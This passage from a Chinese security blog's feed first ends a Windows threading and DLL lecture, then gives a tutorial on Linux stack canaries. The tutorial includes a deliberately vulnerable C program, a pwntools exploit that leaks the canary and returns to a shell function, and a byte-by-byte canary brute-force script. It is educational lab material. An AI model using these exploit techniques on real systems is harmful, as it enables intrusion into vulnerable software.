语句块中,于是线程2执行卖票操作,打印票号100,然后tickets变量加1,其值变为101。如果当线程2执行完成上述操作之后,正好又轮到线程1开始运行了。而这时线程1将从原先的if 语句块开始执行,于是它输出当前的票号,而此时tickets变量的值已经是101了,也就是说,我们会看到线程1卖了号码为101的票。显然这种情况时不允许的。</p></blockquote><blockquote><p>上述问题的出现主要原因就是两个线程访问了同一个全局变量:ticket。为了避免这种问题的发生,就要求在多个线程之间进行一个同步处理,保证一个线程访问共享资源时,其他线程不能访问该资源。</p></blockquote><p>线程需要在下面两种情况下互相通信,以实现同步:</p><ol><li>当有多个线程访问共享资源,而不使资源被破坏时。 </li><li>当一个线程需要将某个任务已经完成的情况通知另一个或多个线程时。</li></ol><p><strong>线程同步原理</strong></p><p><img src="8-3.jpg" alt=""></p><h3 id="4-利用互斥对象实现线程同步"><a href="#4-利用互斥对象实现线程同步" class="headerlink" title="4.利用互斥对象实现线程同步"></a>4.利用互斥对象实现线程同步</h3><blockquote><p>互斥对象(Mutex)属于内核对象,它能够确保线程拥有对单个资源的互斥访问权。 创建互斥对象需要调用函数:CreateMutex</p><p>互斥对象就相当于上图的那把锁。</p></blockquote><pre class="line-numbers language-C++"><code class="language-C++">HANDLE CreateMutex( LPSECURITY_ATTRIBUTES lpMutexAttributes, //通常设为NULL,该线程使用默认的安全性 BOOL bInitialOwner,//可设为FALSE,创建这个互斥对象的线程不获得其所有权。 LPCTSTR lpName//指定互斥对象的名称。如果此参数为NULL,则创建一个匿名的互斥对象。); <span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>获得互斥对象的所有权</strong></p><p>线程<strong>必须主动请求共享对象的使用权</strong>才能获得该所有权,这可以通过调用<code>WaitForSingleObject</code>函数实现。</p><pre class="line-numbers language-C++"><code class="language-C++">DWORD WatiForSingleObject(HANDLE hHandle, DWORD dwMillisecond); //(锁定+等待)<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><blockquote><p><code>HANDLE hHandle</code><br>所请求对象的句柄。本例为互斥对象句柄:hMutex。一旦互斥对象处于有信号状态,则该函数返回,接着,操作系统会将这个互斥对象设为无信号状态。<strong>如果该互斥对象处于无信号状态,则该函数会一直等待,这样会暂停线程的执行。</strong></p></blockquote><blockquote><p><code>DWORD dwMillisecond</code><br>指定等待的时间,如果指定的时间间隔已过,即使所请求的对象处于无信号状态,该函数也返回。<strong>如果该参数为0,该函数立即返回。如果该参数为INFINTE,则该函数永远等待,直到互斥对象处于有信号状态才返回。</strong></p></blockquote><p><strong>释放互斥对象的所有权</strong></p><p>当线程对共享资源访问结束后,应释放互斥对象的所有权,让该对象处于有信号状态。这时需要调用函数:<code>ReleaseMutex</code></p><pre class="line-numbers language-C++"><code class="language-C++">BOOL ReleaseMutex(HANDLE hMutex);//(解锁) <span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><strong>完整的卖票程序代码:</strong></p><pre class="line-numbers language-C++"><code class="language-C++">#include <windows.h>#include <iostream.h>DWORD WINAPI ThreadProc1( LPVOID lpParameter); DWORD WINAPI ThreadProc2( LPVOID lpParameter); int tickets = 1;HANDLE hMutex;//锁定义为全局对象void main(){ HANDLE hThread1; HANDLE hThread2; hThread1 = CreateThread(NULL,0,ThreadProc1,NULL,0,NULL); hThread2 = CreateThread(NULL,0,ThreadProc2,NULL,0,NULL); CloseHandle(hThread1); CloseHandle(hThread2); hMutex = CreateMutex(NULL, FALSE, NULL);//创建锁的对象不具有锁的所有权,注意第二个参数一定要设为False Sleep(5000);}//线程1的入口函数(售票窗口1)DWORD WINAPI ThreadProc1(LPVOID lpParameter){ while (TRUE) { WaitForSingleObject(hMutex,INFINITE);//(锁上 + 等待) if (tickets <= 100) { Sleep(1); cout << "thread1 sell ticket : " << tickets ++ << endl; } else break; ReleaseMutex(hMutex);//(解锁) } return 0;}//线程2的入口函数(售票窗口2)DWORD WINAPI ThreadProc2(LPVOID lpParameter){ while (TRUE) { WaitForSingleObject(hMutex,INFINITE);//(锁上 + 等待) if (tickets <= 100) { Sleep(1); cout << "thread2 sell ticket : " << tickets ++ << endl; } else break; ReleaseMutex(hMutex);//(解锁) } return 0;}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="5-利用临界区实现线程同步"><a href="#5-利用临界区实现线程同步" class="headerlink" title="5.利用临界区实现线程同步"></a>5.利用临界区实现线程同步</h3><p><strong>临界区对象</strong></p><blockquote><p>临界区,也称关键代码段,它是指一个小代码段,在代码能够执行前,它必须独占对某些资源的访问权。 </p><p>通常把多线程中访问统一资源的那部分代码当作临界区,从而达到线程同步的目的。</p></blockquote><p><strong>相关API函数</strong></p><pre class="line-numbers language-C++"><code class="language-C++">初始化临界区对象:void InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSetion); 获得临界区对象所有权:void EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSetion); 释放临界区对象所有权:void LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSetion); 释放临界区对象:void DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSetion);<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>利用临界区完成上述售票系统</strong></p><pre class="line-numbers language-C++"><code class="language-C++">#include <windows.h>#include <iostream.h>DWORD WINAPI ThreadProc1( LPVOID lpParameter); DWORD WINAPI ThreadProc2( LPVOID lpParameter); int tickets = 1;CRITICAL_SECTION cs;//创建一把锁void main(){ HANDLE hThread1; HANDLE hThread2; hThread1 = CreateThread(NULL,0,ThreadProc1,NULL,0,NULL); hThread2 = CreateThread(NULL,0,ThreadProc2,NULL,0,NULL); CloseHandle(hThread1); CloseHandle(hThread2); InitializeCriticalSection(&cs);//把这把锁初始化 Sleep(5000);}//线程1的入口函数(售票窗口1)DWORD WINAPI ThreadProc1(LPVOID lpParameter){ while (TRUE) { EnterCriticalSection(&cs);//获取临界区对象所有权 if (tickets <= 100) { Sleep(1); cout << "thread1 sell ticket : " << tickets ++ << endl; } else break; LeaveCriticalSection(&cs);//释放临界区对象所有权 } return 0;}//线程2的入口函数(售票窗口2)DWORD WINAPI ThreadProc2(LPVOID lpParameter){ while (TRUE) { EnterCriticalSection(&cs);//获取临界区对象所有权 if (tickets <= 100) { Sleep(1); cout << "thread2 sell ticket : " << tickets ++ << endl; } else break; LeaveCriticalSection(&cs);//释放临界区对象所有权 } return 0;}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>互斥对象与临界区的比较</strong></p><blockquote><p>互斥对象属于内核对象,利用内核对象进行线程同步,速度较慢,但利用互斥对象这样的内核对象,可以在多个进程中的各个线程间进行同步。</p><p> 临界区只能在同一进程内的线程间进行同步,但使用最简单,同步速度较快,因此是实现同步化的<strong>首选方法</strong>。<strong>在使用临界区时,由于在等待进入关键代码段时无法设定超时值,容易进入死锁状态。</strong></p></blockquote><hr><h3 id="第九讲-动态链接库"><a href="#第九讲-动态链接库" class="headerlink" title="第九讲 动态链接库"></a>第九讲 动态链接库</h3><h3 id="1-动态链接库概述"><a href="#1-动态链接库概述" class="headerlink" title="1.动态链接库概述"></a>1.动态链接库概述</h3><p><strong>动态链接库不能直接运行,不能接收消息。</strong>它们是一些独立的文件,其中包含能被可执行程序或其它DLL调用来完成某项工作的函数。只有在其它模块调用动态链接库中的函数时,它才发挥作用。 </p><p>微软任何一个版本的Windows操作系统,动态链接库(DLL)都是其核心和基础。 </p><p>Windows API中的所有函数都包含在DLL中。其中有3个最重要的DLL,Kernel32.dll,它包含用于管理内存、进程和线程的各个函数;User32.dll,它包含用于执行用户界面任务(如窗口的创建和消息的传送)的各个函数;GDI32.dll,它包含用于画图和显示文本的各个函数。</p><p><strong>静态库(LIB)和动态库(DLL)</strong></p><blockquote><p>静态库:函数和数据被编译进一个二进制文件(通常扩展名为.LIB)。在使用静态库的情况下,在编译链接可执行文件时,链接器从库中复制这些函数和数据,并把它们和应用程序的其它模块组合起来创建最终的可执行文件(.EXE文件)。 </p></blockquote><blockquote><p>在使用动态库的时候,往往提供两个文件:一个引入库和一个DLL。引入库包含被DLL导出的函数和变量的符号名,DLL包含实际的函数和数据。在编译链接可执行文件时,只需要链接引入库,DLL中的函数代码和数据并不复制到可执行文件中,在运行的时候,再去加载DLL,访问DLL中导出的函数。</p></blockquote><p><strong>使用动态链接库的好处</strong></p><ul><li>增强程序的扩展性 </li><li>可以采用多种编程语言来写 </li><li>提供二次开发的平台 </li><li>简化项目管理 </li><li>节省磁盘空间和内存 </li><li>有助于资源共享</li></ul><h3 id="2-Win32-DLL的创建"><a href="#2-Win32-DLL的创建" class="headerlink" title="2.Win32 DLL的创建"></a>2.Win32 DLL的创建</h3><p><img src="9-1.jpg" alt=""></p><pre class="line-numbers language-C++"><code class="language-C++">_declspec (dllexport) int add(int a, int b){ return a + b;}_declspec (dllexport) int subtract(int a, int b){ return a - b;}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>注意:应用程序如果想要访问 DLL中的函数,那么该函数必须是已经被导出的函数。_declspec (dllexport)就是导出标识符。</p></blockquote><h3 id="3-隐式链接方式加载DLL"><a href="#3-隐式链接方式加载DLL" class="headerlink" title="3.隐式链接方式加载DLL"></a>3.隐式链接方式加载DLL</h3><ol><li>利用<code>extern</code>或者<code>_declspec (dllimport)</code>声明外部函数</li><li>使用引入库文件</li></ol><h3 id="4-显式加载方式加载DLL"><a href="#4-显式加载方式加载DLL" class="headerlink" title="4.显式加载方式加载DLL"></a>4.显式加载方式加载DLL</h3><p><strong>LoadLibrary函数</strong></p><pre class="line-numbers language-C++"><code class="language-C++">HMODULE LoadLibrary( LPCTSTR lpFileName);<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><blockquote><p>该函数的作用是将指定的可执行模块映射到调用进程的地址空间。LoadLibrary不仅能够加载DLL,还可以加载可执行模块(*.exe),当加载可执行模块时,主要是为了访问该模块内的资源,例如对话框资源、图标或位图资源。<br>当获取到动态链接库模块的句柄后,接下来需要获取该动态链接库中导出函数的地址。</p></blockquote><p><strong>GetProcAddress函数</strong></p><pre class="line-numbers language-C++"><code class="language-C++">FARPROC GetProcAddress( HMOUDLE hModule, LPCSTR lpProcName);<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><blockquote><p>该函数的作用是用来获取DLL导出函数的地址。<br>hModule:指定DLL模块的句柄,即LoadLibrary函数的返回值。<br>LpProcName:字符指针,指定DLL导出函数的名字或函数的序号。</p></blockquote><h3 id="5-DllMain函数介绍"><a href="#5-DllMain函数介绍" class="headerlink" title="5.DllMain函数介绍"></a>5.DllMain函数介绍</h3><blockquote><p>一个Win32程序,对可执行模块来说,其入口函数是WinMain;而对DLL来说,其入口函数是DllMain,该函数是可选的。也就是说,在编写DLL程序时,可以提供也可以不提供DllMain函数。</p></blockquote><p>==(以上十八课内容)==</p><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
</entry>
<entry>
<title>Linux pwn|Canary</title>
<link href="/2020/05/27/canary/"/>
<url>/2020/05/27/canary/</url>
<content type="html"><![CDATA[<h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。</p><p>我们知道,<strong>通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。</strong>栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。<strong>在 Linux 中我们将 cookie 信息称为 Canary。</strong></p><p>由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。</p><p>Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。</p><p>Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。</p><h2 id="Canary原理"><a href="#Canary原理" class="headerlink" title="Canary原理"></a>Canary原理</h2><h3 id="在GCC中使用Canary"><a href="#在GCC中使用Canary" class="headerlink" title="在GCC中使用Canary"></a>在GCC中使用Canary</h3><p>可以在GCC中使用以下参数设置Canary:</p><pre><code>-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护-fstack-protector-all 启用保护,为所有函数插入保护-fstack-protector-strong-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护-fno-stack-protector 禁用保护</code></pre><h3 id="Canary实现原理"><a href="#Canary实现原理" class="headerlink" title="Canary实现原理"></a>Canary实现原理</h3><p>开启Canary保护的stack结构大概如下:</p><pre><code> High Address | | +-----------------+ | args | +-----------------+ | return address | +-----------------+ rbp => | old ebp | +-----------------+ rbp-8 => | canary value | +-----------------+ | 局部变量 | Low | | Address</code></pre><p>当程序启用 Canary 编译后,在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 %ebp-0x8 的位置。 这个操作即为向栈中插入 Canary 值,代码如下:</p><pre class="line-numbers language-asm"><code class="language-asm">mov rax, qword ptr fs:[0x28]mov qword ptr [rbp - 8], rax<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>在函数返回之前,会将该值取出,并与fs:0x28的值进行异或。如果异或的结果为0,说明Canary未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。</p><pre class="line-numbers language-assembly"><code class="language-assembly">mov rdx,QWORD PTR [rbp-0x8]xor rdx,QWORD PTR fs:0x28je 0x4005d7 <main+65>call 0x400460 <__stack_chk_fail@plt><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>如果Canary已经被非法修改,此时程序流程会走到 <code>__stack_chk_fail</code>。<code>__stack_chk_fail</code>也是位于Glibc中的函数,默认情况下经过ELF的延迟绑定,定义如下。</p><pre class="line-numbers language-C"><code class="language-C">eglibc-2.19/debug/stack_chk_fail.cvoid __attribute__ ((noreturn)) __stack_chk_fail (void){ __fortify_fail ("stack smashing detected");}void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg){ /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>");}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>这意味可以通过劫持 <code>__stack_chk_fail</code> 的 got 值劫持流程或者利用 <code>__stack_chk_fail</code> 泄漏内容 (参见 stack smash)。</p><p>进一步,对于Linux来说,fs寄存器实际指向的是当前栈的TLS结构(线程本地储存),fs:0x28指向的正是stack_guard。</p><pre class="line-numbers language-C"><code class="language-C">typedef struct{ void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; uintptr_t sysinfo; uintptr_t stack_guard; ...} tcbhead_t;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>如果存在溢出可以覆盖位于TLS中保存的Canary值那么就可以实现绕过保护机制。</strong>事实上,TLS中的值由函数security_init进行初始化。</p><pre class="line-numbers language-C++"><code class="language-C++">static voidsecurity_init (void){ // _dl_random的值在进入这个函数的时候就已经由kernel写入. // glibc直接使用了_dl_random的值并没有给赋值 // 如果不采用这种模式, glibc也可以自己产生随机数 //将_dl_random的最后一个字节设置为0x0 uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random); // 设置Canary的值到TLS中 THREAD_SET_STACK_GUARD (stack_chk_guard); _dl_random = NULL;}//THREAD_SET_STACK_GUARD宏用于设置TLS#define THREAD_SET_STACK_GUARD(value) \ THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="Canary绕过技术"><a href="#Canary绕过技术" class="headerlink" title="Canary绕过技术"></a>Canary绕过技术</h2><h3 id="序言"><a href="#序言" class="headerlink" title="序言"></a>序言</h3><p>Canary 是一种十分有效的解决栈溢出问题的漏洞缓解措施。但是并不意味着 Canary 就能够阻止所有的栈溢出利用,在这里给出了常见的存在 Canary 的栈溢出利用思路,请注意每种方法都有特定的环境要求。</p><h3 id="泄露栈中的Canary"><a href="#泄露栈中的Canary" class="headerlink" title="泄露栈中的Canary"></a>泄露栈中的Canary</h3><p>Canary 设计为以字节 <code>\x00</code> 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。</p><h4 id="利用示例"><a href="#利用示例" class="headerlink" title="利用示例"></a>利用示例</h4><p>存在漏洞的示例源代码如下:</p><pre class="line-numbers language-C"><code class="language-C">// ex2.c#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <string.h>void getshell(void) { system("/bin/sh");}void init() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL);}void vuln() { char buf[100]; for(int i=0;i<2;i++){ read(0, buf, 0x200); printf(buf); }}int main(void) { init(); puts("Hello Hacker!"); vuln(); return 0;}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>编译过程:</p><pre class="line-numbers language-shell"><code class="language-shell">devil@ubuntu:~$ gcc -m32 -no-pie -o ex2 ex2.cex2.c: In function ‘vuln’:ex2.c:17:16: warning: format not a string literal and no format arguments [-Wformat-security] printf(buf); ^<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>后面我又改了一下,编译命令改成了</p><pre class="line-numbers language-shell"><code class="language-shell">devil@ubuntu:~$ gcc -m32 -g -no-pie -o ex2 ex2.cex2.c: In function ‘vuln’:ex2.c:17:16: warning: format not a string literal and no format arguments [-Wformat-security] printf(buf);<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>-g参数可以用来后期调试的时候查看table表。举例来说:</p><p>我要下断在vuln()函数最后的一个’}’处,在pwndbg中就需要使用b+’行号’来下断(但这种形式下断点就需要编译的时候-g参数)。</p><p>此外,可以通过-l参数来查看可执行文件信息。</p><pre class="line-numbers language-shell"><code class="language-shell">devil@ubuntu:~$ gdb -q ex2pwndbg: loaded 181 commands. Type pwndbg [filter] for a list.pwndbg: created $rebase, $ida gdb functions (can be used with print/break)Reading symbols from ex2...done.pwndbg> b 19Breakpoint 1 at 0x804863f: file ex2.c, line 19.pwndbg> l 1914 char buf[100];15 for(int i=0;i<2;i++){16 read(0, buf, 0x200);17 printf(buf);18 }19 }20 int main(void) {21 init();22 puts("Hello Hacker!");23 vuln();<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>检查编译程序开启的保护机制</p><pre class="line-numbers language-shell"><code class="language-shell">devil@ubuntu:~$ checksec ex2[*] '/home/devil/ex2' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>然后我一直在用pwndbg的cyclic计算溢出需要多少字节,我以为在vuln()处下断点就可以绕过canary,自动计算出需要填充的字节数…结果不行,所以我去IDA里面查了下。</p><p>buf地址:</p><p><img src="1-1.jpg" alt="buf地址"></p><p><img src="1-2.jpg" alt="vuln()函数起始地址"></p><p>0x70-0x0c–>0x64–>100</p><p>即填充100字节,我们就能来到buf处。</p><p>首先通过覆盖Canary最后一个<code>\x00</code> 字节来打印出4位的Canary之后,计算好偏移,将Canary填入到相应的溢出位置,实现Ret到getshell函数当中。</p><p>expliot脚本如下:</p><pre class="line-numbers language-python"><code class="language-python"><span class="token comment" spellcheck="true">#!/usr/bin/env python</span><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>context<span class="token punctuation">.</span>binary <span class="token operator">=</span> <span class="token string">'ex2'</span><span class="token comment" spellcheck="true">#context.log_level = 'debug'</span>io <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">'./ex2'</span><span class="token punctuation">)</span>get_shell <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"./ex2"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">"getshell"</span><span class="token punctuation">]</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"Hello Hacker!\n"</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true"># leak Canary</span>payload <span class="token operator">=</span> <span class="token string">"A"</span><span class="token operator">*</span><span class="token number">100</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"A"</span><span class="token operator">*</span><span class="token number">100</span><span class="token punctuation">)</span>Canary <span class="token operator">=</span> u32<span class="token punctuation">(</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">-</span><span class="token number">0xa</span>log<span class="token punctuation">.</span>info<span class="token punctuation">(</span><span class="token string">"Canary:"</span><span class="token operator">+</span>hex<span class="token punctuation">(</span>Canary<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true"># Bypass Canary</span>payload <span class="token operator">=</span> <span class="token string">"\x90"</span><span class="token operator">*</span><span class="token number">100</span><span class="token operator">+</span>p32<span class="token punctuation">(</span>Canary<span class="token punctuation">)</span><span class="token operator">+</span><span class="token string">"\x90"</span><span class="token operator">*</span><span class="token number">12</span><span class="token operator">+</span>p32<span class="token punctuation">(</span>get_shell<span class="token punctuation">)</span>io<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="one-by-one-爆破-Canary"><a href="#one-by-one-爆破-Canary" class="headerlink" title="one-by-one 爆破 Canary"></a>one-by-one 爆破 Canary</h3><p>对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来。 在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中,作者就是利用这样的方式爆破得到的 Canary: 这是爆破的 Python 代码:</p><pre class="line-numbers language-python"><code class="language-python"><span class="token keyword">print</span> <span class="token string">"[+] Brute forcing stack canary "</span>start <span class="token operator">=</span> len<span class="token punctuation">(</span>p<span class="token punctuation">)</span>stop <span class="token operator">=</span> len<span class="token punctuation">(</span>p<span class="token punctuation">)</span><span class="token operator">+</span><span class="token number">8</span><span class="token keyword">while</span> len<span class="token punctuation">(</span>p<span class="token punctuation">)</span> <span class="token operator"><</span> stop<span class="token punctuation">:</span> <span class="token keyword">for</span> i <span class="token keyword">in</span> xrange<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">256</span><span class="token punctuation">)</span><span class="token punctuation">:</span> res <span class="token operator">=</span> send2server<span class="token punctuation">(</span>p <span class="token operator">+</span> chr<span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">if</span> res <span class="token operator">!=</span> <span class="token string">""</span><span class="token punctuation">:</span> p <span class="token operator">=</span> p <span class="token operator">+</span> chr<span class="token punctuation">(</span>i<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#print "\t[+] Byte found 0x%02x" % i</span> <span class="token keyword">break</span> <span class="token keyword">if</span> i <span class="token operator">==</span> <span class="token number">255</span><span class="token punctuation">:</span> <span class="token keyword">print</span> <span class="token string">"[-] Exploit failed"</span> sys<span class="token punctuation">.</span>exit<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span>canary <span class="token operator">=</span> p<span class="token punctuation">[</span>stop<span class="token punctuation">:</span>start<span class="token number">-1</span><span class="token punctuation">:</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">"hex"</span><span class="token punctuation">)</span><span class="token keyword">print</span> <span class="token string">" [+] SSP value is 0x%s"</span> <span class="token operator">%</span> canary<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="劫持-stack-chk-fail-函数"><a href="#劫持-stack-chk-fail-函数" class="headerlink" title="劫持__stack_chk_fail 函数"></a>劫持__stack_chk_fail 函数</h3><p>已知 Canary 失败的处理逻辑会进入到 <code>__stack_chk_fail</code> 函数,<code>__stack_chk_fail</code> 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。</p><p>参见 ZCTF2017 Login,利用方式是通过 fsb 漏洞篡改 <code>__stack_chk_fail</code> 的 GOT 表,再进行 ROP 利用</p><h3 id="覆盖TLS中储存的Canary值"><a href="#覆盖TLS中储存的Canary值" class="headerlink" title="覆盖TLS中储存的Canary值"></a>覆盖TLS中储存的Canary值</h3><p>已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。</p><p>参见 StarCTF2018 babystack</p><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<categories>
<category> pwn </category>
</categories>
</entry>
<entry>
<title>在pwn路上(1)</title>
<link href="/2020/05/27/what-is-pwn/"/>
<url>/2020/05/27/what-is-pwn/</url>
